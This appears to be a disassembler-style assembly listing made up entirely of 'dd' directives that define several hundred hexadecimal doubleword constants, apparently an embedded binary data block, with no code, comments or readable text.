dd 25E4D490h, 27B44FDDh, 85979EFAh, 16695E29h, 4B0902F2h
dd 702FF9C5h, 0EB262CF8h, 0D296D0A4h, 7E624896h, 0F0F84916h
dd 80F2D5FCh, 20E5E388h, 84E8BAEh, 345A7CE7h, 869CBB04h
dd 892E5E0Ah, 0CEE87F56h, 0C9EC9416h, 14C86BF9h, 0EAC6BF6Bh
dd 2A583A98h, 0B1BAA4ACh, 53C27E07h, 6424696Dh, 57A043Fh
dd 580AE2E1h, 0F64B25ACh, 659362D2h, 2FC6B475h, 279B2695h
dd 2E2E1CC9h, 0E0A4E3F8h, 3709448Eh, 0F4FA0122h, 3AE9C331h
dd 55C728E5h, 0B97C1F8h, 285DC5ABh, 0B05C95BDh, 0E407232Dh
dd 0BB511056h, 5B592755h, 0FBC6171Ah, 4BFA6C4h, 1E074D7Fh
dd 48B55182h, 121FD628h, 8EBBC759h, 8A107098h, 0FE2443F9h
dd 0E0CC279Fh, 0DEE9A5F4h, 5F1DE89Ch, 9B749BDh, 58C109h
dd 0EC4E4994h, 9F89DE6h, 0EBA80537h, 7277816Fh, 0FF38315h
dd 82A5C112h, 0CB89EE82h, 27EBB160h, 34C02D19h, 58DC70BCh
dd 9A0CC146h, 0A44E3B39h, 82035C8h, 4F140CD0h, 6093E7A6h
dd 28086816h, 127E9895h, 40830E11h, 0F34CDE31h, 0DB0AF708h
dd 1556E068h, 8DE95384h, 0AD2E2DA1h, 0F2BFF4F9h, 0DFBB936Ah
dd 0C0E90931h, 52739106h, 0D615A37Eh, 111391EEh, 37243A2Bh
dd 5D82BDC0h, 206BB8A3h, 65BF536Eh, 411709AFh, 9C0BED1Ah
dd 0A7C0C25Fh, 4B1B3315h, 671BA000h, 88C19038h, 70EB80E7h
dd 0C163BD18h, 705166A9h, 0D8043F5h, 854D00D6h, 0D9BD5531h
dd 30000C47h, 0F25CD81h, 0D11FFAh, 2BBF57EDh, 0E9203779h
dd 0F691E527h, 0B12F78F8h, 0EA0BF699h, 54C0D759h, 6E0FB050h
dd 0B658C228h, 9DD3C3B0h, 0E3B66F03h, 0A481EA84h, 0EF2AF828h
dd 974C012Bh, 0D1D76689h, 0E9AD608Fh, 99B2ED18h, 46CBE05h
dd 17FF1C34h, 0E650EB75h, 2756580Bh, 0A8F72932h, 255440DAh
dd 22E0BFE9h, 3C120605h, 10FF58B0h, 5A2507B4h, 934865DDh
dd 0F6F5C5E8h, 0F97E82BEh, 0D814F7FEh, 976A1D20h, 9B421E5Ch
dd 0DEFA3460h, 0CDBF48C7h, 10CDC0Bh, 5A3305C7h, 92A03BBAh
dd 24EB6BA4h, 0AC5B7818h, 0C11493B5h, 5E3E79CFh, 2A63810Ch
dd 0E3EE2948h, 0E9080295h, 11D54093h, 0F23AE83Ch, 8AAB4AB2h
dd 9A1D1ABCh, 3E407DCBh, 0E2018045h, 99B1516Ch, 31F3CA30h
dd 0CFE4100Ch, 36A00472h, 0D4F63ACCh, 910E84Ah, 5C7583E9h
dd 0EF6072DFh, 3F020E50h, 35E94142h, 9CF35146h, 5A030352h
dd 0A713D031h, 0CAAD06E9h, 2170414Eh, 82257A2Eh, 5467E30Ch
dd 0B2084070h, 0B96E480Ah, 98A2992Ah, 0A1FB0F00h, 0D97C49D8h
dd 392D16E2h, 2C2C7A16h, 4EC2D689h, 0DBBBD56Dh, 319BB609h
dd 0C9B18037h, 4C7466CBh, 9A07CF41h, 0C0266C71h, 73DB6F1h
dd 0DEA90E4Fh, 2C095150h, 13FBF3C4h, 0F4B3D301h, 813620F8h
dd 0E92F507h, 0E5655162h, 2101D481h, 13227070h, 0EC0A7478h
dd 7D50250Ch, 0E92763CEh, 0D85322ADh, 60EAD72Dh, 0D8653CF1h
dd 68C065F8h, 57026279h, 0F52D5E25h, 0F0297883h, 76E92709h
dd 0E559A369h, 0AC12C11Ah, 0CAB7992Bh, 5561F402h, 2BFD99A9h
dd 860275C0h, 520AB211h, 0C95FB60Eh, 90C43FEh, 8919E9C0h
dd 4EBD8DEh, 5909E64Eh, 0E99A53DFh, 0B328C84Ch, 683AEEDCh
dd 509097BCh, 1F32D1AEh, 47DEFAE4h, 2FF68041h, 813BF0C1h
dd 6907D125h, 0E9501CF1h, 0E6BD9016h, 0BD2EDED4h, 0AE93CF7Bh
dd 0E6803637h, 6C226223h, 78977C58h, 408DEC4Bh, 96061130h
dd 1F9C481Dh, 64230F4Ah, 0EAF7BEC7h, 49591E17h, 10E8C7C2h
dd 33BBCD8h, 1D1865B5h, 0A0DF28AFh, 14F6EE6h, 0A956A180h
dd 0CDD8BD61h, 837F4B09h, 122F8634h, 26E277C7h, 8B870F1Ah
dd 5587E7B4h, 990B32Ch, 0CED50987h, 7DFC8241h, 4C9777Bh
dd 7AADF0C4h, 205D9405h, 9885BB5Ch, 64D4ED80h, 1A050248h
dd 31EBF2A8h, 0D9E82DFh, 0BD6509E3h, 0E9795C18h, 0D1214BAEh
dd 26BABAAh, 2868FF5Eh, 6D4A31A5h, 2DDE54C0h, 5A753549h
dd 91AA1Ah, 122EF3E9h, 0D3F33848h, 759A8997h, 0FF109F9Ah
dd 51BF0272h, 4B5E1E37h, 39525A74h, 0DC72F913h, 0DD3E813h
dd 0F30A631h, 226BBBBEh, 32370F93h, 0D0802CD0h, 0AED1280Eh
dd 78CAB7C1h, 0C8885009h, 0DEF6A698h, 5613DDB0h, 660CC628h
dd 0FEF7F14h, 0FA8DD091h, 2DE0A269h, 0FE622FB0h, 0FF27D940h
dd 0BF98D7E4h, 752A5D0Fh, 0E4A1C528h, 0B30720FBh, 0E616B068h
dd 0F916D830h, 0CE9502BBh, 624AB4E9h, 6D3AC875h, 94A05122h
dd 0D7BFB22Eh, 3F7B9DBBh, 0E98265BDh, 11C586F6h, 18BA682Fh
dd 0B00EAC7Dh, 43600AD0h, 21E84EF1h, 5A680BEFh, 286C6C54h
dd 0BB6E007Ah, 0DA2DBE74h, 0E8B5D756h, 1258EE16h, 17DFD6Ah
dd 2003508Ah, 86B73013h, 49D77817h, 6A503A1h, 0F2CFA360h
dd 75B0672Fh, 0C1A83020h, 41B774ABh, 8D52BE73h, 1EA14066h
dd 2DE57B88h, 91E4ADA3h, 2A20B0B0h, 482167BBh, 0FA0534C1h
dd 477EF060h, 0DE7C606Dh, 6911700Ch, 7DAECEC1h, 5F3A23C0h
dd 5887FBE4h, 91F73CE1h, 251A22E9h, 10022029h, 0EF204596h
dd 0C3FA3C24h, 8AD016BBh, 0B0EA7335h, 0A280DEFCh, 41538176h
dd 0C511A38Bh, 581441Fh, 0BFEDD186h, 41A793A0h, 64A32E84h
dd 82DDBD97h, 54F8E9DDh
dd 4C77251Ah, 3F557E95h, 9F620E23h, 705E76F9h, 79059562h
dd 1062646h, 523271F7h, 71133A6Eh, 2759DC7h, 0D8965CB9h
dd 0F09DF5DCh, 634B8A52h, 7D3DC24Dh, 5C606851h, 0BF03E768h
dd 68C2EA65h, 270DFCCCh, 27E594FFh, 0AC41ECE9h, 6FFCD9ADh
dd 7D529892h, 7B8B277Bh, 4578D92Dh, 0F17CD45Dh, 0FA64094Fh
dd 0A7E8BC42h, 88003F4Ch, 0B9F68164h, 951DC769h, 0C6FB00DFh
dd 5C707BBFh, 804A8ACCh, 7709BE17h, 77D0848h, 20644CEEh
dd 0B1E95373h, 7C62FEEFh, 1350D784h, 542E8EFAh, 0D84AF3E9h
dd 6BF41BA4h, 0D25EE126h, 3DEB0297h, 10C3725Dh, 831815D5h
dd 0DC3010C6h, 0D0528282h, 0ABE5F5CAh, 89ABD43Fh, 8AFEF74Ah
dd 54B981CEh, 0E02EB720h, 7F110E33h, 57194890h, 0E6ED63D2h
dd 620AF28h, 7A82F0B5h, 0D8F780BCh, 3531E097h, 0C2AD4F9Ch
dd 0A3DDA7D6h, 9861CAE9h, 52898C2h, 0CCFE5AD4h, 9AED2C0h
dd 660E4DF8h, 87FB64BEh, 5E77F101h, 0BF862D93h, 0E3C829D3h
dd 440E4E05h, 0F1E84BBh, 0AD6DD31h, 66ACB240h, 4CB75351h
dd 0FC229EF6h, 0FAA5EF5Bh, 0B9CDEDECh, 0BDC212ABh, 570C6BAEh
dd 6B5E6941h, 0E2A6C6B8h, 85E90A09h, 854F7CD9h, 122A0CA9h
dd 9FA6AEFCh, 12598E50h, 0F0F53A38h, 8D40899Fh, 934EF068h
dd 9477A5D5h, 70CF3014h, 566CEEBFh, 12AD609h, 94C80FEh
dd 0B766DE73h, 6B3628E0h, 49E9170Bh, 3CA879D9h, 81C87E37h
dd 0F0C18158h, 0B97CE603h, 71BE09ECh, 5A2D8952h, 0A0015841h
dd 1187DE25h, 0F8B0D556h, 54B65FDDh, 61EACF10h, 0FED7793Ch
dd 0F93162Dh, 0E277F86Eh, 8DBB033Bh, 0F14D8319h, 0C2147EC0h
dd 7529D714h, 36D12D87h, 37E0C48h, 5B5C6127h, 1B688514h
dd 20779945h, 5981BD33h, 5C3C3DD9h, 80F9B603h, 0F69916CEh
dd 10AA04E5h, 0EE2A63EAh, 0BB8B95B5h, 0F6B48577h, 0D8B2A531h
dd 0E11AC12Eh, 68021520h, 0F410E95Fh, 94D725A0h, 2DD580E0h
dd 38AA3E4Eh, 5CBF506h, 0BA277225h, 6161481Dh, 6A79BD02h
dd 0FDE1EDC4h, 0D978AE2Bh, 0D6BB30E9h, 0F5B42DB0h, 9D235D28h
dd 0E9070861h, 0D17B41AFh, 6920B9BAh, 4B31120Eh, 2A2A3CCAh
dd 614AA2EBh, 8A7E5649h, 40D48A4h, 5A123CA0h, 4191A8FBh
dd 0D88B7A08h, 0F770EE5Bh, 9DFF19C7h, 9E7977Fh, 0E457303Ch
dd 0B478B5C4h, 0D92B9427h, 8437952Ch, 53F6837h, 0DE4BEE28h
dd 0CDCE7708h, 4A37C69Fh, 0EF66E421h, 3520891Ch, 0D66F29DEh
dd 0EAD04972h, 0E4601BF0h, 62E1CB2Bh, 0F7B761Dh, 27F510F3h
dd 0BCF7E964h, 16F94F18h, 239DB10h, 614329B9h, 12437D2Ch
dd 5E3A2C1Dh, 600130CBh, 1652C360h, 0EB5CBA1Ah, 60083D50h
dd 6706E60Ch, 0D75D525Bh, 91B7535Eh, 7D5B5ABh, 11C24984h
dd 0FCDB63C1h, 0FD94E387h, 0D5C2C618h, 1FA5149Dh, 8467EFB9h
dd 0F024E94Ah, 0A1256883h, 82BE7979h, 540569BCh, 2883F955h
dd 0F1D87A9Ch, 293EE109h, 5D00196h, 2AD740C9h, 6A530h
dd 0D73A025h, 107C2D78h, 123C0C4Ch, 74A358C7h, 4C459A86h
dd 2C07BA4Eh, 2FB45140h, 591D0CF9h, 0EC38D368h, 9156C425h
dd 3EE989FBh, 0F55AC0B9h, 45BB2E4Ah, 0A85DCAE4h, 0E088480h
dd 0B70F5C00h, 0E22468C8h, 0C69BCB30h, 1661D1D5h, 0DB2E1588h
dd 0E8525009h, 99481E1Bh, 7D9495Ah, 70478F42h, 1EC720B4h
dd 0D9D12127h, 8556E99Eh, 82CB1858h, 3FED545Dh, 0BF477FAh
dd 0CD01B1A6h, 0A091C677h, 350B63AEh, 101E44F6h, 0F94F08E4h
dd 0C8E79F0Ah, 82D48C83h, 27787177h, 0F72C1857h, 4A683DF1h
dd 88936C59h, 0BC4FA43Ah, 0CB8045D5h, 0B5310315h, 39E975E8h
dd 21413EE1h, 2C1B13D1h, 16330320h, 0FCD3E4ECh, 0D8BE4B3Ah
dd 1EBA7574h, 675B617Ch, 9BFC2613h, 0F314D186h, 4DA9EB5Bh
dd 935F0C6Bh, 8DBAE559h, 71F56B65h, 82E90E40h, 0EFB3C99Ah
dd 5E56E1FFh, 8411C26Ah, 70501077h, 54DF2F26h, 16BD6CF8h
dd 0F73A200Bh, 621F5EBDh, 4259DDE0h, 0D4C8210Bh, 3462DAFFh
dd 0C31AF7F2h, 26103h, 0F14C40A7h, 760BB52Ah, 68052B5Ch
dd 0B1E85719h, 0DF7A07C0h, 34C05B20h, 4CFD30F5h, 12DA6001h
dd 6F5F71EAh, 4CFC6E58h, 5C36135Bh, 0C50789F9h, 0E9D4D0FCh
dd 0F24C20F7h, 26C224Ah, 685A0A8Bh, 37A84BDAh, 9991CE2h
dd 0E370282Fh, 7C971BBAh, 665F99EFh, 69A0D0E8h, 714856B5h
dd 7E2975EEh, 2CC43BB2h, 2CCFFEDEh, 170EFF4Ah, 6C452EF7h
dd 393E0C50h, 0E916461Eh, 0FD4EEEF1h, 43E8E4D0h, 0ED809DEAh
dd 0F667854h, 947B322Dh, 13EB5A8Eh, 0A86BBFFh, 1EDC9D0Ch
dd 0D51D9C2Eh, 26E9E565h, 125BD4Eh, 944A3D66h, 78A55A15h
dd 66AF922Ch, 57E4D9C2h, 534576F9h, 0E60F8D0Bh, 1C5EC3BDh
dd 0A6781A7Fh, 0D30847E5h, 2C4C87DFh, 0CFCD1200h, 9F34AECAh
dd 0A2A88123h, 10116205h, 6809F78Bh, 2CF448EAh, 0EB0FD960h
dd 2022B82Ah, 30073D46h, 0F98858E7h, 91B0AAA5h, 0B5CC3980h
dd 15C9EC97h, 100F37Bh, 87B850C5h, 7C582F55h, 755580Fh
dd 90E72D04h, 10EAD495h, 0ED02B82Dh, 621B2B61h, 8DC287Fh
dd 0D2FF1C34h, 0F5855892h, 55A2EBD5h, 3B84FA4Eh, 97ECFCFAh
dd 8F68BE2h, 6A84BE05h, 0EC50226h, 0FB254AB8h, 0E989D160h
dd 2D26FBB5h, 7C370DD0h, 5174E565h, 4A12ECC2h, 0AFE5DD25h
dd 9FB85AE9h, 720AA901h, 0DBAE60BAh, 58389841h, 37D92110h
dd 1947127h, 0E73CA8C9h, 6EA1257Eh, 0BEE712E8h, 709A591Bh
dd 40DFC294h, 0F60DB83Eh, 29661B18h, 849C44C2h, 0FA0B14CDh
dd 0DA30A548h, 48B12D2Eh, 56D4AE2Fh, 0DD286286h, 479BBAE8h
dd 14AD0499h, 20859B8Fh, 0A9C54FA7h, 57E91263h, 554C425Dh
dd 388050D1h, 0AC5AD8C4h, 0B24119F6h, 0B9104521h, 31002819h
dd 0E7C9811Fh, 166A3049h, 0EAC5C1E9h, 2AA84261h, 3FD9F701h
dd 26E5FF04h, 6F98A812h, 59EC6599h, 529B6FFh, 0A726F6C7h
dd 0A5D7C0EEh, 7A5F9C72h, 806D7A5h, 5E14801Ch, 0A4AF4AE9h
dd 8200CF5Ch, 5653FC3Fh, 64DBABEh, 0F72144F8h, 9800425Eh
dd 5E39C13h, 4CCD1770h, 742C234Ch, 0D8744B30h, 625FADBDh
dd 0F8EA5C1Eh, 61533268h, 0B4E912C4h, 5AD3F391h, 1F47137Bh
dd 2E667EBh, 0D7EC585Ah, 0E8D09387h, 68D4E600h, 3CC17249h
dd 1CF303EEh, 31AE4483h, 0C045C78Ah, 0F50B8948h, 7F8BDDE9h
dd 2ABF8045h, 594AE14Dh, 0E0D1DF17h, 0B001FC02h, 7516DCC2h
dd 0B776C6BFh, 0C701E968h, 3FF9BDFEh, 3EB22277h, 0F797714h
dd 276812ECh, 7A135F1Bh, 43C5FE4Ah, 0D24EB2BBh, 0BB53DD60h
dd 0FC5B003Fh, 0A4C3B971h, 44B48E03h, 0F2DB4927h, 16E3EDACh
dd 4909B2DEh, 0E2EE2F01h, 0F075D091h, 2FA9BEE6h, 7352BE77h
dd 2C736AE9h, 0DA5A0892h, 28CFF825h, 82DB6CA1h, 0D096D5BDh
dd 0D32EB8C2h, 2EBD889h, 102D7F7Dh, 9362DD01h, 41C6080Dh
dd 7F92CEF3h, 81831098h, 1FE96051h, 0A7C7216h, 7BEEA501h
dd 813139DCh, 8149B828h, 0E7CA3D78h, 222C8A5Ah, 0CF673014h
dd 4F57BF30h, 16A0C53Dh, 0B540E10Eh, 3B321091h, 5C82829h
dd 68590A07h, 92F67A1Dh, 5D66B09Eh, 0D9C0F7BEh, 0D7556530h
dd 0E0C61222h, 4C17B5ECh, 57B10DB4h, 0F1EA8A04h, 907F6516h
dd 0BD0214B4h, 1F594F9Dh, 2FC36A61h, 5F64AC8Ch, 40FCF57Dh
dd 0DC4692CBh, 14CC494Ch, 841623CEh, 280B7CA2h, 0D1308502h
dd 88D2E7DFh, 0C5936537h, 19781BFh, 2D5CF5CDh, 5EE327A4h
dd 0F2E9EF04h, 40BFECE0h
dd 714C2216h, 8CFE330Ah, 6804CD24h, 31EA1006h, 43D1BAEh
dd 64678001h, 0D8F93028h, 0C91A7D32h, 0C9A73EECh, 0EA99BC21h
dd 24374F48h, 0C1723177h, 0A66F5AA0h, 994F24C2h, 0FB12D0B9h
dd 0D8D8B095h, 58082833h, 84924EBEh, 669A8154h, 636800D7h
dd 22E72772h, 0C376AFFAh, 7847AF09h, 0C4EFA89h, 1E0912BDh
dd 2602F10Ch, 2DE96032h, 0EE92C403h, 418BB785h, 2AFAEDFDh
dd 6E7CBD75h, 55CE68E2h, 5017C7F1h, 7445A0h, 0BF25D72Fh
dd 0DF051214h, 5D2C9890h, 9500024Fh, 89EA9BEEh, 0FBE916F8h
dd 3724BE12h, 0B08836C4h, 21CD40E3h, 0D1902098h, 1711EA4Dh
dd 87FE03E1h, 423A67CCh, 0B3E13BEEh, 50882EB0h, 0BD1D50DDh
dd 88B0BCFBh, 4E325B04h, 0D0B56893h, 5A71FAE7h, 1051F322h
dd 257D3E6Ch, 0B03BDE9Ah, 5DC3EBB0h, 0F43BE425h, 0D68B0C2Bh
dd 8509C627h, 0DF6B7E6Ch, 70F489A9h, 0C62CE87h, 0D70024F4h
dd 315EC56Ch, 4F10FA97h, 68B29CACh, 1B717325h, 800C282Ah
dd 1011C4C9h, 0AED8AE57h, 0E5C0624Ch, 21E8F129h, 20E37466h
dd 2E765FCh, 0C4D1405Ch, 318E2D07h, 0C4063FCh, 0B5C6381Fh
dd 3055FFC2h, 88175FDAh, 691E09C5h, 0A9C91A07h, 0B1FBF9E2h
dd 69367A66h, 538F4006h, 0D4C679E9h, 31300180h, 0D4E97B6Fh
dd 15A4D39h, 5F5E5080h, 92903F56h, 763F6D08h, 9FE30C73h
dd 68EC926Eh, 33B20B4Eh, 33F7D016h, 0DDF8518Bh, 1B505B0Ah
dd 386132F8h, 4350C685h, 2A6840F8h, 5BF43437h, 0ADDE17A1h
dd 0DF56CF2Eh, 0D7E9426Dh, 1087165h, 114826BAh, 165C3E02h
dd 0D1604BD7h, 7D847867h, 0F51F303Dh, 0D1C0351Ah, 29459109h
dd 28E4F4C7h, 2539EE5Ch, 0F6947E3Ah, 7D5209BDh, 9818B796h
dd 0EF2EFD11h, 1B521CD0h, 44E94557h, 85E4B9D9h, 67FB736Dh
dd 0BF4EA44Eh, 9CEEE613h, 7B0BBAC5h, 7C663C6Ah, 0A58739B8h
dd 61B9E996h, 0D84FD30Fh, 0F6AB6062h, 82FCC64Bh, 870098E6h
dd 15BE447h, 979168F7h, 0BB546F46h, 2AE7DF0Fh, 0E92D38FFh
dd 946BC825h, 9844ECEh, 0BB99BF13h, 7CFD2AFAh, 5D3FE909h
dd 2248ED7Fh, 2A5848D4h, 8B11EC5Bh, 5296B487h, 1012A954h
dd 0FDC16462h, 0A2B48BBCh, 0C5595E75h, 0AB5C966Fh, 282A934h
dd 7D68013Dh, 0EA9A7E3Ah, 9766E440h, 0B800C166h, 7F5D6056h
dd 249FAEBEh, 8C8B80A2h, 0B62A05FAh, 0B551B902h, 0C1EE3095h
dd 0B006A1E9h, 5C9C7EB5h, 549DEBF4h, 76775222h, 851FEA9Ch
dd 9986413h, 3282DAF9h, 0FC404208h, 4C5E2307h, 280240A0h
dd 168CD7CEh, 401EE9DAh, 32B6BE47h, 0C2BD2E6Fh, 5FAFC27Ch
dd 0F9CAB24Bh, 754B9FF1h, 6968F65h, 0A73B75F1h, 2CC1CDB1h
dd 0CE5F316Eh, 0CD81007Dh, 2D361DBDh, 0D5E5811Bh, 0F0346F5Dh
dd 5513D1EDh, 40C306Dh, 13EA2FE6h, 0AB52798Bh, 0A2C22DA0h
dd 0A259DF08h, 7700582Ch, 0E9359374h, 0A4625ADEh, 105DED6Dh
dd 12EF5FF5h, 6D5010Bh, 6001616Ah, 2880B95Ch, 68660EE8h
dd 0F4927D4Fh, 7A9FA6C8h, 0BACF4FCCh, 0F5466109h, 68E55CD0h
dd 17E8D7A0h, 47A482E4h, 0B8AF5904h, 0CBE4C2C3h, 41A50FEh
dd 14A586F6h, 0EBEE840Ah, 18EC1BD5h, 6850D82Dh, 62ADD39Fh
dd 41707FE9h, 3D025FB1h, 4232AF23h, 87CA753Ch, 6CE90740h
dd 9BE27FF9h, 0F0F97196h, 64F27F5Eh, 2289E9CBh, 322F335Ah
dd 88FDD1CFh, 4A283F19h, 461D020Ch, 0F3915Eh, 0A372CC91h
dd 0FEFABEE9h, 42522291h, 5421688Bh, 9652C159h, 31F7205h
dd 0B568E4Bh, 0E08DFA63h, 0C1798174h, 0ED949888h, 0B7455D25h
dd 5D3EFB0Bh, 0F0DD7339h, 7882349Fh, 0FCDB95F3h, 68C3D4EAh
dd 6ECDA4C2h, 0A088B87Ah, 0B663A268h, 0D3296ED9h, 1C9D69E0h
dd 3DC6E6BDh, 0D484525Eh, 0E862C85Bh, 209D2ECh, 20730407h
dd 0C5CB40EFh, 0A1CFE07Ch, 0C2560165h, 0AD5752AEh, 0F0FA7182h
dd 56C96596h, 59E98B95h, 0BDA24FF8h, 4BDE5BFFh, 25B7E5F5h
dd 605B0ECCh, 0C6304C03h, 0F2BB8558h, 59A5C711h, 0F44808h
dd 2BB242BEh, 0BD187ABAh, 0B98CD44Dh, 22540D3Ah, 668DA01h
dd 0FA25CE08h, 48BF4451h, 0EE3FF159h, 961C497h, 5910DAD2h
dd 719DBB46h, 92C9CFB2h, 2F5D76E1h, 51365CCBh, 5AB57C47h
dd 59A49515h, 0B45BEAA0h, 0B538D1E3h, 94F36980h, 210FA43Ch
dd 0F1EC02BDh, 89BAC577h, 0E4F74BFDh, 515D2098h, 13E6BA00h
dd 0E2813519h, 8E6D1878h, 3D89866Bh, 1198DA79h, 0F825314Bh
dd 85A89883h, 99E1478Dh, 0B5686B84h, 382F9D69h, 0CFE9A1EEh
dd 4F31DE51h, 68097032h, 0E6795114h, 0A17DF683h, 0F5F7DB57h
dd 309CEBBh, 2A2777C1h, 0F0C9E007h, 0A522C4Ch, 25AE06Ch
dd 212427F2h, 0E90297D1h, 8E2C7F2Dh, 2818DEE5h, 98E0D38Ch
dd 1D8B0053h, 0BD553B43h, 7C4A1851h, 9B046CFCh, 0F82AAA74h
dd 71E5031Dh, 28BF1Ch, 0D817701Ch, 5DEE0953h, 0F84565Ah
dd 0F5B799BBh, 41C8E8ADh, 879E9CB0h, 98FE3316h, 723BBE9Fh
dd 0E97C0225h, 56FF5026h, 0F98741B9h, 4EEC7FFEh, 8F3BEBF4h
dd 0DBFEE90Dh, 0AF3B4Eh, 55EC2D41h, 0E8EB1BD7h, 445E7B2Eh
dd 74169BCh, 7C118CD6h, 65491358h, 8004FE24h, 4783DBF7h
dd 7894B18Fh, 2C31770h, 0EC390B89h, 0E9EA7BE9h, 84D44775h
dd 0B99F4EE9h, 624A27E8h, 0DFBC8B36h, 2959A2C0h, 9DB27697h
dd 0EF10A704h, 7B9F90D3h, 0BF0F8401h, 0CC6EC2C8h, 69265E77h
dd 0F4E99E68h, 571DEE9Eh, 0AFE46E8Ah, 715BF82h, 0EFD540C8h
dd 8EBB137Bh, 0E3878014h, 242544EEh, 4A9CC021h, 0B62583D2h
dd 7DB98FA1h, 4FE4C6D6h, 4641744h, 12BCE4DEh, 51CC960h
dd 75A030B5h, 619B3B6Ah, 262D0301h, 7E6D0914h, 7C07A210h
dd 1B0511AAh, 42D8BB5Bh, 0F511B561h, 6A802E9Ch, 89B652h
dd 0F680C6FEh, 71EAE9F0h, 9D0BC4A4h, 800DC022h, 57AD8E8Eh
dd 4A429D19h, 70DDD8CAh, 91B949E1h, 0FBB86812h, 0DB800E37h
dd 0BE219F07h, 20FCA1Bh, 1FE8E982h, 0FF6CD582h, 0C68540Ch
dd 7E2C026Bh, 0AD4BE965h, 0CE300703h, 78BE2059h, 0D3E5077Eh
dd 0C564A9F4h, 87E6A05Fh, 29E08613h, 1145ECBCh, 49F117C1h
dd 0F7C8F464h, 0D36818D9h, 3B122565h, 2E470980h, 0B275581Ch
dd 78FFBB74h, 5D89FCFh, 70EB0500h, 0D02945ABh, 6507A22Dh
dd 560BAF3Bh, 58C3295Eh, 355603EDh, 10626C5Ah, 22A0BEA5h
dd 0FE73D246h, 0B664E1E4h, 0C17627E5h, 5A524A30h, 510A4C9Ch
dd 0CB456105h, 0CAB9E103h, 0D5EDBBE3h, 39DAEF8Eh, 3F0AA14Eh
dd 0E9C26FF8h, 0DCD9E0B0h, 929F7127h, 7602AC7Fh, 86AFEB4Bh
dd 2F090CB9h, 553AD41Fh, 2083EA8h, 0FEDC2EE9h, 80899055h
dd 0FB0A73C9h, 0E4D1F6E8h, 1FE1F4D9h, 49B05014h, 167DC130h
dd 7514C28h, 873BD120h, 2233A5CBh, 615EC9EFh, 0EB407CD0h
dd 0C4EB274Ah, 0FC1F5F30h, 7E72A220h, 0BC5C122Bh, 0D3B84AA0h
dd 6568E4D8h, 7AFF2E7Eh, 2608AE10h, 6644975Dh, 0AF2A1AC9h
dd 95BA3627h, 4BDDD0AFh, 5CC8B02Bh, 60AE2EFFh, 28E8B999h
dd 495B8D2Fh, 25ECF11Ah, 0B04E5E7Bh, 493EBDD5h, 770D7F74h
dd 2429E037h, 9C107FDh, 60B6A17Ah, 25F8B05h, 0B3C707ADh
dd 0CCD70B11h, 5DBE2428h, 872C0134h, 84D2F7D6h, 2BE0E908h
dd 0B28165E8h, 0F0D3288Bh, 18C2B7C8h, 5F01EB83h, 0DBC3A7A0h
dd 7B088A14h, 3DA224E9h, 9A42F683h, 9ED88567h, 739FFEF2h
dd 31E941C5h, 0B52280FCh, 80DDF6D8h, 2D337CEDh, 7BE89FF2h
dd 73014E4Bh, 0B818BE63h
dd 0A12FBFFBh, 506F53CDh, 295B2404h, 1FF10BCh, 37EF356Bh
dd 0D22DD060h, 1FBE6401h, 5828AF25h, 5009807Eh, 0EA9D88E9h
dd 3A7177CFh, 5AB5852h, 2B1F5468h, 3B0BAC27h, 615103C6h
dd 4EFC1h, 783B5312h, 0E9FD89F7h, 1F242126h, 200E78A5h
dd 60F9388Bh, 78736802h, 0C2BD30A8h, 0FB7FD87Eh, 0D333952Eh
dd 0C52ECC59h, 0CB4BF97Bh, 259D5CB5h, 8BBFC777h, 6144359Ah
dd 0D4BFB47Eh, 2858407Ch, 0D467E9C8h, 323764B1h, 8BC30982h
dd 0C5ECF9D0h, 5C6392F2h, 2295D344h, 11AD3C3h, 70C090B3h
dd 0F32F8000h, 18115DC2h, 2BB7E9E9h, 62C7D64Eh, 0A20DFA22h
dd 60CB2AACh, 379FE72Eh, 6119F94Dh, 2F13A9D6h, 73FDFA10h
dd 227E4C00h, 301A0C05h, 96E91569h, 0F20E9E2Eh, 6FCFA9E0h
dd 0E8D0DC65h, 10CC94C5h, 0BA02BE6Eh, 54EC3D32h, 7CE0F8E1h
dd 0B8B1400Ch, 27CD3513h, 619CB100h, 9D093FBEh, 8231B1E0h
dd 2B67AD81h, 3D411E3Bh, 231C9F9Fh, 4B96DA2Fh, 302ECD99h
dd 481A7A1h, 0D118A06Ah, 6961A850h, 1F171C1Dh, 0F59FEA81h
dd 3AAC01h, 685653BDh, 41715812h, 0F671CB98h, 0F827192Fh
dd 0D5820490h, 168916D1h, 0D604C40Ch, 87721D0Ch, 0D70CBE2Bh
dd 0EDF8B4CCh, 4AA98C4Dh, 417755F9h, 65938CDh, 4A369747h
dd 19850988h, 75740D17h, 5E62F309h, 3FED515Ah, 645C7F62h
dd 0D8B2828Fh, 0D3292DEDh, 240BA7Dh, 0DB5B06AFh, 6E880876h
dd 5BF10B5h, 9415709Dh, 3094FB84h, 0A89025F2h, 81807510h
dd 0F3EBDEF8h, 0EC7EF728h, 0D844BD6Eh, 0DDBF5350h, 13CAB980h
dd 182C4E5h, 9F596AC5h, 0F80C8165h, 176C902h, 8DC1F2F3h
dd 14070C08h, 21A4BD3h, 0EE13EB77h, 0F87DDEF2h, 66892EF8h
dd 52DA8B9Ah, 373E9E66h, 0F904DBF6h, 0A8F970BEh, 8AB0ECD7h
dd 94E2918Dh, 0D3EE750Ch, 0DB939380h, 28D15E80h, 81CDC1E5h
dd 0D121A4D6h, 0E1C1EF44h, 466B27C0h, 9480646h, 2BBC0095h
dd 1518F028h, 8E34DAE9h, 5AADF95Ah, 6CF9FDB5h, 6429E970h
dd 0A08F114Ch, 0C83D01C2h, 0F1188905h, 0EEBC081Ah, 7CF85E96h
dd 0AD79FAB4h, 4CA6034h, 0E919FE2Ch, 6B12EB20h, 0DBA528AFh
dd 587E3FB2h, 585BFC95h, 68015152h, 1767419Dh, 0C605359h
dd 4904003h, 0EE788BA1h, 0D8E68103h, 90476616h, 2F3570AEh
dd 705832F8h, 1A9749Fh, 0F27C33EAh, 7D942F18h, 0D41C0818h
dd 79F82816h, 0E3524EDEh, 5F089273h, 0B8291666h, 2FED00A9h
dd 171BE21h, 0DDCA2D5h, 0D260D508h, 75848267h, 773E804h
dd 73488FBBh, 0AB5A7DA9h, 72F41F2h, 171C6076h, 80D495EAh
dd 9C3AC740h, 98C1A022h, 43C80067h, 8705E6C1h, 6D641CEh
dd 10769000h, 29E96433h, 6B63A184h, 0B257B055h, 81885966h
dd 0B18B092Fh, 12C2ACEh, 22101CF7h, 7C129248h, 0FD4D8D67h
dd 3B012E57h, 0B632C80Dh, 4DF46371h, 0FEA04E41h, 926C088Dh
